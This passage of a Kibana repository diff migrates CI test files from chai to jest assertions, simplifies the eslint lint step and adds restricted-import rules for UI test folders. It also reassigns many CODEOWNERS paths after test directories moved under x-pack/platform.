'custom', + isPreInstalled: true, + }, + { + platform: 'linux', + architecture: 'arm64', + archiveFilename: "chromium-cffa127-locales-linux_arm64.zip", + archiveChecksum: "571437335b3b867207650390ca8827ea71a58a842f7bb22bbb497a1266324431", + binaryChecksum: "68dafc4ae03cc4c2812e94f61f62db72a7dcde95754d817594bf25e3862647be", + binaryRelativePath: 'headless_shell-linux_arm64/headless_shell', + location: 'custom', + isPreInstalled: true, + }, + { + platform: 'win32', + architecture: 'x64', + archiveFilename: 'chrome-headless-shell-win64.zip', + archiveChecksum: "4fd9484cf67790b5bbff39be62d5835f6848a326a68b4be1b83dc22a4336efa1", + binaryChecksum: "46054cfc2be47f7822008e29674baefd82912cdae107fbe07027cbe84622c0b9", + binaryRelativePath: path.join('chrome-headless-shell-win64', 'chrome-headless-shell.exe'), + version: "130.6943.126", + location: 'chromeForTesting', + archivePath: 'win64', + isPreInstalled: true, + }, + ]; + + // zip files get downloaded to a .chromium directory in the kibana root + public readonly archivesPath = path.resolve(__dirname, '../../../../../../.chromium'); + + public find(platform: string, architecture: string, packages: PackageInfo[] = this.packages) { + return packages.find((p) => p.platform === platform && p.architecture === architecture); + } + + public resolvePath(p: PackageInfo) { + // adding architecture to the path allows it to download two binaries that have the same name, but are different architecture + return path.resolve(this.archivesPath, p.architecture, p.archiveFilename); + } + + public getAllArchiveFilenames(): string[] { + return this.packages.map((p) => this.resolvePath(p)); + } + + public getDownloadUrl(p: PackageInfo) { + if (isChromeForTestingPackage(p)) { + const { chromeForTesting } = BaseUrl; + const { archivePath, version, archiveFilename } = p; + // returned string matches download value found at the following endpoint; + // https://googlechromelabs.github.io/chrome-for-testing/known-good-versions-with-downloads.json + return \`\${chromeForTesting}/\${version}/\${archivePath}/\${archiveFilename}\`; + } + + return BaseUrl.custom + '/' + p.archiveFilename; // revision is not used for URL if package is a custom build + } + + public getBinaryPath(p: PackageInfo, chromiumPath: string) { + return path.join(chromiumPath, p.binaryRelativePath); + } +}" +`; diff --git a/.buildkite/scripts/pipelines/chromium_linux_build/issue_feedback/transform_path_file.test.ts b/.buildkite/scripts/pipelines/chromium_linux_build/issue_feedback/transform_path_file.test.ts index c0569f15e54ee..baa5e0261a394 100644 --- a/.buildkite/scripts/pipelines/chromium_linux_build/issue_feedback/transform_path_file.test.ts +++ b/.buildkite/scripts/pipelines/chromium_linux_build/issue_feedback/transform_path_file.test.ts @@ -9,8 +9,6 @@ import { resolve } from 'path'; import { readFileSync } from 'fs'; -import chai, { expect, assert } from 'chai'; -import snapshots from 'chai-snapshot-tests'; // @ts-expect-error test utils is defined and exists, see https://github.com/facebook/jscodeshift#applytransform import { applyTransform } from 'jscodeshift/dist/testUtils'; @@ -59,14 +57,10 @@ const runnerOptions = { }; describe('transform_path_file', () => { - before(() => { - chai.use(snapshots(__filename)); - }); - it('throws an error if options are missing', () => { expect(() => { applyTransform(pathFileTransform, {}, pathFileContents, runnerOptions); - }).to.throw('Expected options to be defined'); + }).toThrow('Expected options to be defined'); }); it('throws an error if chromiumVersion is missing', () => { @@ -79,7 +73,7 @@ describe('transform_path_file', () => { { source: pathFileContents }, runnerOptions ); - }).to.throw('Expected version to be defined'); + }).toThrow('Expected version to be defined'); }); it('throws an error if updateConfig is missing', () => { @@ -92,7 +86,7 @@ describe('transform_path_file', () => { { source: pathFileContents }, runnerOptions ); - }).to.throw('Expected updateConfig to be defined'); + }).toThrow('Expected updateConfig to be defined'); }); // This test fails because a change was made to the `kbn-screenshotting-server/src/paths.ts` file that is not reflected @@ -106,6 +100,6 @@ describe('transform_path_file', () => { { source: pathFileContents }, runnerOptions ); - assert.snapshot('updated_paths_file', output); + expect(output).toMatchSnapshot('updated_paths_file'); }); }); diff --git a/.buildkite/scripts/pipelines/trigger_version_dependent_jobs/pipeline.test.ts b/.buildkite/scripts/pipelines/trigger_version_dependent_jobs/pipeline.test.ts index 95bf7ab261d62..0472903660f56 100644 --- a/.buildkite/scripts/pipelines/trigger_version_dependent_jobs/pipeline.test.ts +++ b/.buildkite/scripts/pipelines/trigger_version_dependent_jobs/pipeline.test.ts @@ -7,10 +7,7 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -/* eslint-disable @typescript-eslint/no-unused-expressions */ - import { getVersionsFile } from '#pipeline-utils'; -import { expect } from 'chai'; import { getArtifactBuildTriggers, @@ -27,13 +24,13 @@ describe('pipeline trigger combinations', () => { // tests 7.17 against 8.x versions const targets = versionsFile.versions.filter((v) => v.branch.startsWith('8.')); - expect(esForwardTriggers.length).to.eql(targets.length); + expect(esForwardTriggers.length).toEqual(targets.length); - expect(esForwardTriggers.every((trigger) => trigger.build?.branch === '7.17')).to.be.true; + expect(esForwardTriggers.every((trigger) => trigger.build?.branch === '7.17')).toBe(true); const targetedManifests = esForwardTriggers.map((t) => t.build?.env?.ES_SNAPSHOT_MANIFEST); targets.forEach((t) => - expect(targetedManifests).to.include( + expect(targetedManifests).toContain( `https://storage.googleapis.com/kibana-ci-es-snapshots-daily/${t.version}/manifest-latest-verified.json` ) ); @@ -43,10 +40,10 @@ describe('pipeline trigger combinations', () => { const snapshotTriggers = getArtifactSnapshotPipelineTriggers(); // triggers for all open branches const branches = versionsFile.versions.map((v) => v.branch); - expect(snapshotTriggers.length).to.eql(branches.length); + expect(snapshotTriggers.length).toEqual(branches.length); branches.forEach((b) => { - expect(snapshotTriggers.some((trigger) => trigger.build?.branch === b)).to.be.true; + expect(snapshotTriggers.some((trigger) => trigger.build?.branch === b)).toBe(true); }); }); @@ -55,12 +52,12 @@ describe('pipeline trigger combinations', () => { // all branches that have fixed versions, and excluding 7.17 (i.e. not 7.17, [0-9].x and main) const branches = versionsFile.versions .filter((v) => v.branch.match(/[0-9]{1,2}\.[0-9]{1,2}/)) - .filter((v) => v.previousMajor === true) + .filter((v) => v.branch !== '7.17') .map((v) => v.branch); - expect(triggerTriggers.length).to.eql(branches.length); + expect(triggerTriggers.length).toEqual(branches.length); branches.forEach((b) => { - expect(triggerTriggers.some((trigger) => trigger.build?.branch === b)).to.be.true; + expect(triggerTriggers.some((trigger) => trigger.build?.branch === b)).toBe(true); }); }); @@ -71,9 +68,9 @@ describe('pipeline trigger combinations', () => { .filter((v) => v.branch.match(/[0-9]{1,2}\.[0-9]{1,2}/)) .map((v) => v.branch); - expect(stagingTriggers.length).to.eql(branches.length); + expect(stagingTriggers.length).toEqual(branches.length); branches.forEach((b) => { - expect(stagingTriggers.some((trigger) => trigger.build?.branch === b)).to.be.true; + expect(stagingTriggers.some((trigger) => trigger.build?.branch === b)).toBe(true); }); }); }); diff --git a/.buildkite/scripts/steps/lint.sh b/.buildkite/scripts/steps/lint.sh index 70ab323c9f731..cf8902b530363 100755 --- a/.buildkite/scripts/steps/lint.sh +++ b/.buildkite/scripts/steps/lint.sh @@ -15,20 +15,17 @@ echo '--- Lint: eslint' # after possibly commiting fixed files to the repo set +e; if is_pr && ! is_auto_commit_disabled; then - git ls-files | grep -E '\.(js|mjs|ts|tsx)$' | xargs -n 250 -P 8 node scripts/eslint --no-cache --fix + desc="node scripts/eslint_all_files --no-cache --fix" + node scripts/eslint_all_files --no-cache --fix else - git ls-files | grep -E '\.(js|mjs|ts|tsx)$' | xargs -n 250 -P 8 node scripts/eslint --no-cache + desc="node scripts/eslint_all_files --no-cache" + node scripts/eslint_all_files --no-cache fi eslint_exit=$? # re-enable "Exit immediately" mode set -e; -desc="node scripts/eslint --no-cache" -if is_pr && ! is_auto_commit_disabled; then - desc="$desc --fix" -fi - check_for_changed_files "$desc" true if [[ "${eslint_exit}" != "0" ]]; then diff --git a/.buildkite/scripts/steps/test/scout_test_run_builder.sh b/.buildkite/scripts/steps/test/scout_test_run_builder.sh index cd0f1a6e097ca..56152b548a86e 100755 --- a/.buildkite/scripts/steps/test/scout_test_run_builder.sh +++ b/.buildkite/scripts/steps/test/scout_test_run_builder.sh @@ -7,6 +7,9 @@ source .buildkite/scripts/common/util.sh .buildkite/scripts/download_build_artifacts.sh .buildkite/scripts/copy_es_snapshot_cache.sh +echo '--- Verify Playwright CLI is functional' +node scripts/scout run-playwright-test-check + echo '--- Discover Playwright Configs and upload to Buildkite artifacts' node scripts/scout discover-playwright-configs --save cp .scout/test_configs/scout_playwright_configs.json scout_playwright_configs.json diff --git a/.buildkite/tsconfig.json b/.buildkite/tsconfig.json index 5b2a91f6e91a3..8f01dbf371c5b 100644 --- a/.buildkite/tsconfig.json +++ b/.buildkite/tsconfig.json @@ -2,7 +2,7 @@ "extends": "../tsconfig.base.json", "compilerOptions": { "outDir": "target/types", - "types": ["node", "mocha"], + "types": ["node", "jest"], "paths": { "#pipeline-utils": [".buildkite/pipeline-utils/index.ts"], "#pipeline-utils/*": [".buildkite/pipeline-utils/*"] diff --git a/.eslintrc.js b/.eslintrc.js index fff0e3a9d62f8..1ec6ba0af0d06 100644 --- a/.eslintrc.js +++ b/.eslintrc.js @@ -776,14 +776,15 @@ module.exports = { 'x-pack/test/apm_api_integration/**/*.ts', 'x-pack/test/functional/apps/**/*.js', 'x-pack/solutions/observability/plugins/apm/**/*.js', - 'x-pack/platform/test/*/{tests,test_suites,apis,apps,deployment_agnostic}/**/*', + 'x-pack/platform/test/*/{tests,test_suites,apis,apps}/**/*', + 'x-pack/platform/test/*api_integration*/**/*', 'x-pack/platform/test/*/*config.*ts', 'x-pack/solutions/*/test/**/{tests,test_suites,apis,apps,deployment_agnostic,fixtures}/**/*', 'x-pack/solutions/*/test/**/*config.*ts', 'x-pack/test/*/{tests,test_suites,apis,apps,deployment_agnostic}/**/*', 'x-pack/test/*/*config.*ts', 'x-pack/platform/test/saved_object_api_integration/*/apis/**/*', - 'x-pack/test/ui_capabilities/*/tests/**/*', + 'x-pack/platform/test/ui_capabilities/*/tests/**/*', 'x-pack/test/upgrade_assistant_integration/**/*', 'x-pack/test/performance/**/*.ts', '**/cypress.config.{js,ts}', @@ -2113,7 +2114,7 @@ module.exports = { 'x-pack/test/security_functional/**/*.{js,mjs,ts,tsx}', 'x-pack/platform/plugins/shared/spaces/**/*.{js,mjs,ts,tsx}', - 'x-pack/test/spaces_api_integration/**/*.{js,mjs,ts,tsx}', + 'x-pack/platform/test/spaces_api_integration/**/*.{js,mjs,ts,tsx}', ], rules: { '@typescript-eslint/consistent-type-imports': 1, @@ -2316,6 +2317,83 @@ module.exports = { ], }, }, + { + files: [ + 'src/platform/plugins/**/ui_tests/**/*.ts', + 'x-pack/platform/**/plugins/**/ui_tests/**/*.ts', + ], + rules: { + 'no-restricted-imports': [ + 'error', + { + paths: [ + { + name: '@playwright/test', + message: "Platform tests should import only from '@kbn/scout'.", + }, + { + name: 'playwright', + message: "Platform tests should import only from '@kbn/scout'.", + }, + ], + }, + ], + }, + }, + { + files: ['x-pack/solutions/observability/plugins/**/ui_tests/**/*.ts'], + rules: { + 'no-restricted-imports': [ + 'error', + { + paths: [ + { + name: '@kbn/scout', + message: + "Observability solution tests should import from '@kbn/scout-oblt' instead.", + }, + { + name: '@playwright/test', + message: + "Observability solution tests should import from '@kbn/scout-oblt' instead.", + }, + { + name: 'playwright', + message: + "Observability solution tests should import from '@kbn/scout-oblt' instead.", + }, + ], + }, + ], + }, + }, + { + files: ['x-pack/solutions/security/plugins/**/ui_tests/**/*.ts'], + rules: { + 'no-restricted-imports': [ + 'error', + { + paths: [ + { + name: '@kbn/scout', + message: + "Security solution tests should import from '@kbn/scout-security' instead.", + }, + { + name: '@playwright/test', + message: + "Security solution tests should import from '@kbn/scout-security' instead.", + }, + { + name: 'playwright', + message: + "Security solution tests should import from '@kbn/scout-security' instead.", + }, + ], + }, + ], + }, + }, ], }; diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index d80b861f320e4..1fb546c8f4adf 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -506,6 +506,8 @@ src/platform/packages/shared/kbn-object-versioning-utils @elastic/appex-sharedux src/platform/packages/shared/kbn-openapi-bundler @elastic/security-detection-rule-management src/platform/packages/shared/kbn-openapi-common @elastic/security-detection-rule-management src/platform/packages/shared/kbn-openapi-generator @elastic/security-detection-rule-management +src/platform/packages/shared/kbn-opentelemetry-attributes @elastic/kibana-core +src/platform/packages/shared/kbn-opentelemetry-utils @elastic/kibana-core src/platform/packages/shared/kbn-osquery-io-ts-types @elastic/security-defend-workflows src/platform/packages/shared/kbn-palettes @elastic/kibana-visualizations src/platform/packages/shared/kbn-profiling-utils @elastic/obs-ux-infra_services-team @@ -557,6 +559,7 @@ src/platform/packages/shared/kbn-timerange @elastic/obs-ux-logs-team src/platform/packages/shared/kbn-tooling-log @elastic/kibana-operations src/platform/packages/shared/kbn-traced-es-client @elastic/observability-ui src/platform/packages/shared/kbn-tracing @elastic/kibana-core @elastic/obs-ai-assistant +src/platform/packages/shared/kbn-tracing-config @elastic/kibana-core src/platform/packages/shared/kbn-triggers-actions-ui-types @elastic/response-ops src/platform/packages/shared/kbn-try-in-console @elastic/search-kibana src/platform/packages/shared/kbn-typed-react-router-config @elastic/obs-knowledge-team @elastic/obs-ux-infra_services-team @@ -854,6 +857,7 @@ x-pack/platform/packages/shared/kbn-event-stacktrace @elastic/obs-ux-infra_servi x-pack/platform/packages/shared/kbn-inference-cli @elastic/appex-ai-infra x-pack/platform/packages/shared/kbn-inference-endpoint-ui-common @elastic/appex-ai-infra x-pack/platform/packages/shared/kbn-inference-tracing @elastic/appex-ai-infra +x-pack/platform/packages/shared/kbn-inference-tracing-config @elastic/appex-ai-infra x-pack/platform/packages/shared/kbn-key-value-metadata-table @elastic/obs-ux-infra_services-team @elastic/obs-ux-logs-team x-pack/platform/packages/shared/kbn-kibana-api-cli @elastic/appex-ai-infra x-pack/platform/packages/shared/kbn-langchain @elastic/security-generative-ai @@ -861,6 +865,7 @@ x-pack/platform/packages/shared/kbn-profiler-cli @elastic/obs-knowledge-team x-pack/platform/packages/shared/kbn-sample-parser @elastic/streams-program-team x-pack/platform/packages/shared/kbn-search-index-documents @elastic/search-kibana x-pack/platform/packages/shared/kbn-slo-schema @elastic/obs-ux-management-team +x-pack/platform/packages/shared/kbn-streamlang @elastic/streams-program-team x-pack/platform/packages/shared/kbn-streams-schema @elastic/streams-program-team x-pack/platform/packages/shared/logs-overview @elastic/obs-ux-logs-team x-pack/platform/packages/shared/ml/aiops_common @elastic/ml-ui @@ -983,13 +988,21 @@ x-pack/platform/test/cases_api_integration/common/plugins/cases @elastic/respons x-pack/platform/test/cases_api_integration/common/plugins/observability @elastic/response-ops x-pack/platform/test/cases_api_integration/common/plugins/security_solution @elastic/response-ops x-pack/platform/test/encrypted_saved_objects_api_integration/plugins/api_consumer_plugin @elastic/kibana-security +x-pack/platform/test/functional_cors/plugins/kibana_cors_test @elastic/kibana-security +x-pack/platform/test/functional_embedded/plugins/iframe_embedded @elastic/kibana-core +x-pack/platform/test/functional_execution_context/plugins/alerts @elastic/kibana-core +x-pack/platform/test/licensing_plugin/plugins/test_feature_usage @elastic/kibana-security x-pack/platform/test/plugin_api_integration/plugins/elasticsearch_client @elastic/kibana-core x-pack/platform/test/plugin_api_integration/plugins/event_log @elastic/response-ops x-pack/platform/test/plugin_api_integration/plugins/feature_usage_test @elastic/kibana-security x-pack/platform/test/plugin_api_integration/plugins/sample_task_plugin @elastic/response-ops x-pack/platform/test/plugin_api_perf/plugins/task_manager_performance @elastic/response-ops x-pack/platform/test/saved_object_api_integration/common/plugins/saved_object_test_plugin @elastic/kibana-security +x-pack/platform/test/spaces_api_integration/common/plugins/spaces_test_plugin @elastic/kibana-security x-pack/platform/test/task_manager_claimer_update_by_query/plugins/sample_task_plugin_mget @elastic/response-ops +x-pack/platform/test/ui_capabilities/common/plugins/foo_plugin @elastic/kibana-security +x-pack/platform/test/usage_collection/plugins/application_usage_test @elastic/kibana-core +x-pack/platform/test/usage_collection/plugins/stack_management_usage_test @elastic/kibana-management x-pack/solutions/chat/packages/wc-framework-types-browser @elastic/search-kibana @elastic/workchat-eng x-pack/solutions/chat/packages/wc-framework-types-common @elastic/search-kibana @elastic/workchat-eng x-pack/solutions/chat/packages/wc-framework-types-server @elastic/search-kibana @elastic/workchat-eng @@ -1101,12 +1114,8 @@ x-pack/solutions/security/test x-pack/test x-pack/test_serverless x-pack/test/cloud_integration/plugins/saml_provider @elastic/kibana-core -x-pack/test/functional_cors/plugins/kibana_cors_test @elastic/kibana-security -x-pack/test/functional_embedded/plugins/iframe_embedded @elastic/kibana-core -x-pack/test/functional_execution_context/plugins/alerts @elastic/kibana-core x-pack/test/functional_with_es_ssl/plugins/alerts @elastic/response-ops x-pack/test/functional_with_es_ssl/plugins/cases @elastic/response-ops -x-pack/test/licensing_plugin/plugins/test_feature_usage @elastic/kibana-security x-pack/test/plugin_functional/plugins/global_search_test @elastic/kibana-core x-pack/test/plugin_functional/plugins/resolver_test @elastic/security-solution x-pack/test/security_api_integration/packages/helpers @elastic/kibana-security @@ -1116,10 +1125,6 @@ x-pack/test/security_api_integration/plugins/oidc_provider @elastic/kibana-secur x-pack/test/security_api_integration/plugins/saml_provider @elastic/kibana-security x-pack/test/security_api_integration/plugins/user_profiles_consumer @elastic/kibana-security x-pack/test/security_functional/plugins/test_endpoints @elastic/kibana-security -x-pack/test/spaces_api_integration/common/plugins/spaces_test_plugin @elastic/kibana-security -x-pack/test/ui_capabilities/common/plugins/foo_plugin @elastic/kibana-security -x-pack/test/usage_collection/plugins/application_usage_test @elastic/kibana-core -x-pack/test/usage_collection/plugins/stack_management_usage_test @elastic/kibana-management #### ## Everything below this line overrides the default assignments for each package. ## Items lower in the file have higher precedence: @@ -1197,15 +1202,15 @@ x-pack/test_serverless/api_integration/test_suites/common/platform_security @ela /x-pack/test/accessibility/apps/group3/search_sessions.ts @elastic/kibana-data-discovery /x-pack/platform/test/api_integration/apis/management/rollup/index_patterns_extensions.js @elastic/kibana-data-discovery /x-pack/platform/test/api_integration/apis/search @elastic/kibana-data-discovery -/x-pack/test/examples/search_examples @elastic/kibana-data-discovery +/x-pack/platform/test/examples/search_examples @elastic/kibana-data-discovery /x-pack/test/functional/apps/data_views @elastic/kibana-data-discovery /x-pack/test/functional/apps/discover @elastic/kibana-data-discovery -/x-pack/test/functional/apps/saved_query_management @elastic/kibana-data-discovery +/x-pack/platform/test/functional/apps/saved_query_management @elastic/kibana-data-discovery /x-pack/test/functional_with_es_ssl/apps/discover_ml_uptime/discover @elastic/kibana-data-discovery -/x-pack/test/search_sessions_integration @elastic/kibana-data-discovery +/x-pack/platform/test/search_sessions_integration @elastic/kibana-data-discovery /x-pack/test/stack_functional_integration/apps/ccs/ccs_discover.js @elastic/kibana-data-discovery /x-pack/test/stack_functional_integration/apps/management/_index_pattern_create.js @elastic/kibana-data-discovery -/x-pack/test/upgrade/apps/discover @elastic/kibana-data-discovery +/x-pack/platform/test/upgrade/apps/discover @elastic/kibana-data-discovery /x-pack/test_serverless/api_integration/test_suites/common/data_views @elastic/kibana-data-discovery /x-pack/test_serverless/api_integration/test_suites/common/data_view_field_editor @elastic/kibana-data-discovery /x-pack/test_serverless/api_integration/test_suites/common/kql_telemetry @elastic/kibana-data-discovery @@ -1249,9 +1254,9 @@ src/platform/plugins/shared/discover/public/context_awareness/profile_providers/ /src/platform/test/functional/fixtures/kbn_archiver/managed_content.json @elastic/kibana-visualizations # Assigned per only use: https://github.com/elastic/kibana/blob/main/x-pack/test/functional/apps/managed_content/managed_content.ts#L38 /src/platform/test/api_integration/fixtures/kbn_archiver/event_annotations/event_annotations.json @elastic/kibana-visualizations /src/platform/test/functional/apps/getting_started/*.ts @elastic/kibana-visualizations # Assigned per https://github.com/elastic/kibana/pull/199767#discussion_r1840485031 -/x-pack/test/upgrade/apps/graph @elastic/kibana-visualizations -/x-pack/test/functional/page_objects/log_wrapper.ts @elastic/kibana-visualizations # Assigned per https://github.com/elastic/kibana/pull/36437 -/x-pack/test/functional/page_objects/graph_page.ts @elastic/kibana-visualizations +/x-pack/platform/test/upgrade/apps/graph @elastic/kibana-visualizations +/x-pack/platform/test/functional/page_objects/log_wrapper.ts @elastic/kibana-visualizations # Assigned per https://github.com/elastic/kibana/pull/36437 +/x-pack/platform/test/functional/page_objects/graph_page.ts @elastic/kibana-visualizations /x-pack/test/functional/apps/managed_content @elastic/kibana-visualizations /src/platform/test/functional/services/visualizations @elastic/kibana-visualizations /src/platform/test/functional/services/renderable.ts @elastic/kibana-visualizations @@ -1261,9 +1266,9 @@ src/platform/plugins/shared/discover/public/context_awareness/profile_providers/ /src/platform/test/functional/page_objects/timelion_page.ts @elastic/kibana-visualizations /src/platform/test/functional/page_objects/time_to_visualize_page.ts @elastic/kibana-visualizations /src/platform/test/functional/page_objects/tag_cloud_page.ts @elastic/kibana-visualizations -/x-pack/test/functional/page_objects/lens_page.ts @elastic/kibana-visualizations +/x-pack/platform/test/functional/page_objects/lens_page.ts @elastic/kibana-visualizations /x-pack/test/functional/es_archives/lens @elastic/kibana-visualizations -/x-pack/test/examples/embedded_lens @elastic/kibana-visualizations +/x-pack/platform/test/examples/embedded_lens @elastic/kibana-visualizations /x-pack/test/api_integration/fixtures/kbn_archiver/lens/ @elastic/kibana-visualizations /x-pack/platform/test/api_integration/apis/lens @elastic/kibana-visualizations /src/platform/test/plugin_functional/test_suites/custom_visualizations @elastic/kibana-visualizations @@ -1291,14 +1296,15 @@ src/platform/plugins/shared/discover/public/context_awareness/profile_providers/ /src/platform/test/api_integration/apis/esql/*.ts @elastic/kibana-esql /src/platform/test/functional/services/esql.ts @elastic/kibana-esql /src/platform/packages/shared/kbn-monaco/src/languages/esql @elastic/kibana-esql +x-pack/solutions/observability/plugins/observability/server/lib/esql_extensions @elastic/obs-ux-infra_services-team @elastic/obs-ux-logs-team # Global Experience ### Reporting /x-pack/test/functional/apps/dashboard/reporting/ @elastic/response-ops /x-pack/test/functional/apps/reporting/ @elastic/response-ops -/x-pack/test/functional/apps/reporting_management/ @elastic/response-ops -/x-pack/test/examples/screenshotting/ @elastic/response-ops +/x-pack/platform/test/functional/apps/reporting_management/ @elastic/response-ops +/x-pack/platform/test/examples/screenshotting/ @elastic/response-ops /x-pack/test/functional/es_archives/lens/reporting/ @elastic/response-ops /x-pack/test/functional/es_archives/reporting/ @elastic/response-ops /x-pack/test/functional/fixtures/kbn_archiver/reporting/ @elastic/response-ops @@ -1311,7 +1317,7 @@ src/platform/plugins/shared/discover/public/context_awareness/profile_providers/ /x-pack/test_serverless/**/test_suites/common/reporting/ @elastic/response-ops /x-pack/test/accessibility/apps/group3/reporting.ts @elastic/response-ops /x-pack/platform/test/functional/page_objects/reporting_page.ts @elastic/response-ops -/x-pack/test/upgrade/apps/reporting @elastic/response-ops +/x-pack/platform/test/upgrade/apps/reporting @elastic/response-ops /x-pack/test_serverless/functional/fixtures/kbn_archiver/reporting @elastic/response-ops ### Global Experience Tagging @@ -1339,6 +1345,8 @@ src/platform/plugins/shared/discover/public/context_awareness/profile_providers/ /x-pack/test_serverless/api_integration/test_suites/observability/config.logs_essentials.ts @elastic/observability-ui @elastic/appex-qa /x-pack/test_serverless/api_integration/test_suites/observability/index.logs_essentials.ts @elastic/observability-ui /x-pack/test_serverless/api_integration/test_suites/observability/logs_essentials_only @elastic/observability-ui +/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.logs_essentials.index.ts @elastic/observability-ui +/x-pack/platform/test/api_integration_deployment_agnostic/configs/serverless/oblt.logs_essentials.serverless.config.ts @elastic/observability-ui ### Observability Plugins @@ -1346,11 +1354,18 @@ src/platform/plugins/shared/discover/public/context_awareness/profile_providers/ /x-pack/test_serverless/api_integration/test_suites/common/data_usage @elastic/kibana-management /x-pack/test_serverless/functional/test_suites/common/data_usage @elastic/kibana-management /x-pack/test_serverless/functional/page_objects/svl_data_usage.ts @elastic/kibana-management -/x-pack/test/observability_ai_assistant_api_integration @elastic/obs-ai-assistant /x-pack/test/observability_ai_assistant_functional @elastic/obs-ai-assistant -/x-pack/test_serverless/**/test_suites/observability/ai_assistant @elastic/obs-ai-assistant /x-pack/test/functional/es_archives/observability/ai_assistant @elastic/obs-ai-assistant /x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant @elastic/obs-ai-assistant +/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.ai_assistant.index.ts @elastic/obs-ai-assistant +/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.ai_assistant.serverless.config.ts @elastic/obs-ai-assistant +/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.ai_assistant.index.ts @elastic/obs-ai-assistant +/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.ai_assistant.stateful.config.ts @elastic/obs-ai-assistant +/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.ai_assistant_local.index.ts @elastic/obs-ai-assistant +/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.ai_assistant_local.serverless.config.ts @elastic/obs-ai-assistant +/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.ai_assistant_local.index.ts @elastic/obs-ai-assistant +/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.ai_assistant_local.stateful.config.ts @elastic/obs-ai-assistant + # Infra Obs ## This plugin mostly contains the codebase for the infra services, but also includes some code for the Logs UI app. ## To keep @elastic/obs-ux-logs-team as codeowner of the plugin manifest without requiring a review for all the other code changes @@ -1363,7 +1378,15 @@ src/platform/plugins/shared/discover/public/context_awareness/profile_providers/ ## infra/{common,docs,public,server}/{sub-folders}/ -> @elastic/obs-ux-infra_services-team # obs-ux-infra_services-team /x-pack/test/api_integration/deployment_agnostic/apis/observability/apm/ @elastic/obs-ux-infra_services-team +/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.apm.index.ts @elastic/obs-ux-infra_services-team +/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.apm.serverless.config.ts @elastic/obs-ux-infra_services-team +/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.apm.index.ts @elastic/obs-ux-infra_services-team +/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.apm.stateful.config.ts @elastic/obs-ux-infra_services-team /x-pack/test/api_integration/deployment_agnostic/apis/observability/infra/ @elastic/obs-ux-infra_services-team +/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.index.ts @elastic/obs-ux-infra_services-team +/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.serverless.config.ts @elastic/obs-ux-infra_services-team +/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.index.ts @elastic/obs-ux-infra_services-team +/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.stateful.config.ts @elastic/obs-ux-infra_services-team /x-pack/test/functional/page_objects/asset_details.ts @elastic/obs-ux-infra_services-team # Assigned per https://github.com/elastic/kibana/pull/200157/files/c83fae62151fe634342c498aca69b686b739fe45#r1842202022 /x-pack/test/functional/page_objects/infra_* @elastic/obs-ux-infra_services-team /x-pack/test/functional/es_archives/infra @elastic/obs-ux-infra_services-team @@ -1459,6 +1482,12 @@ src/platform/plugins/shared/discover/public/context_awareness/profile_providers/ /x-pack/test/api_integration/deployment_agnostic/services/alerting_api @elastic/obs-ux-management-team /x-pack/test/api_integration/deployment_agnostic/services/slo_api @elastic/obs-ux-management-team /x-pack/test/api_integration/deployment_agnostic/apis/observability/synthetics/ @elastic/obs-ux-management-team +/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.synthetics.index.ts @elastic/obs-ux-management-team +/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.synthetics.serverless.config.ts @elastic/obs-ux-management-team +/x-pack/test/api_integration/deployment_agnostic/feature_flag_configs/serverless/oblt.synthetics.index.ts @elastic/obs-ux-management-team +/x-pack/test/api_integration/deployment_agnostic/feature_flag_configs/serverless/oblt.synthetics.serverless.config.ts @elastic/obs-ux-management-team +/x-pack/test/api_integration/deployment_agnostic/feature_flag_configs/stateful/oblt.synthetics.index.ts @elastic/obs-ux-management-team +/x-pack/test/api_integration/deployment_agnostic/feature_flag_configs/stateful/oblt.synthetics.stateful.config.ts @elastic/obs-ux-management-team /x-pack/test/api_integration/deployment_agnostic/services/synthetics_monitors @elastic/obs-ux-management-team /x-pack/test/api_integration/deployment_agnostic/services/synthetics_private_location @elastic/obs-ux-management-team /x-pack/test/api_integration/deployment_agnostic/apis/observability/incident_management/ @elastic/obs-ux-management-team @@ -1565,6 +1594,8 @@ src/platform/plugins/shared/discover/public/context_awareness/profile_providers/ # Streams /x-pack/test/api_integration/deployment_agnostic/apis/observability/streams @elastic/streams-program-team +/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.streams.index.ts @elastic/streams-program-team +/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.streams.serverless.config.ts @elastic/streams-program-team /x-pack/test/api_integration/fixtures/kbn_archiver/streams @elastic/streams-program-team ### END Observability Plugins @@ -1573,7 +1604,7 @@ src/platform/plugins/shared/discover/public/context_awareness/profile_providers/ /src/platform/test/functional/page_objects/unified_search_page.ts @elastic/kibana-presentation /src/platform/test/functional/fixtures/kbn_archiver/dashboard_error_cases.json @elastic/kibana-presentation # Assigned per https://github.com/elastic/kibana/pull/201648#discussion_r1859020986 /x-pack/test/functional/es_archives/getting_started/shakespeare @elastic/kibana-presentation # Assigned per https://github.com/elastic/kibana/pull/201648#discussion_r1860319853 -/x-pack/test/upgrade/screenshots @elastic/kibana-presentation +/x-pack/platform/test/upgrade/screenshots @elastic/kibana-presentation /x-pack/test/functional/screenshots @elastic/kibana-presentation /src/platform/test/functional/fixtures/kbn_archiver/legacy.json @elastic/kibana-presentation # Assigned per https://github.com/elastic/kibana/pull/200934#discussion_r1856407606 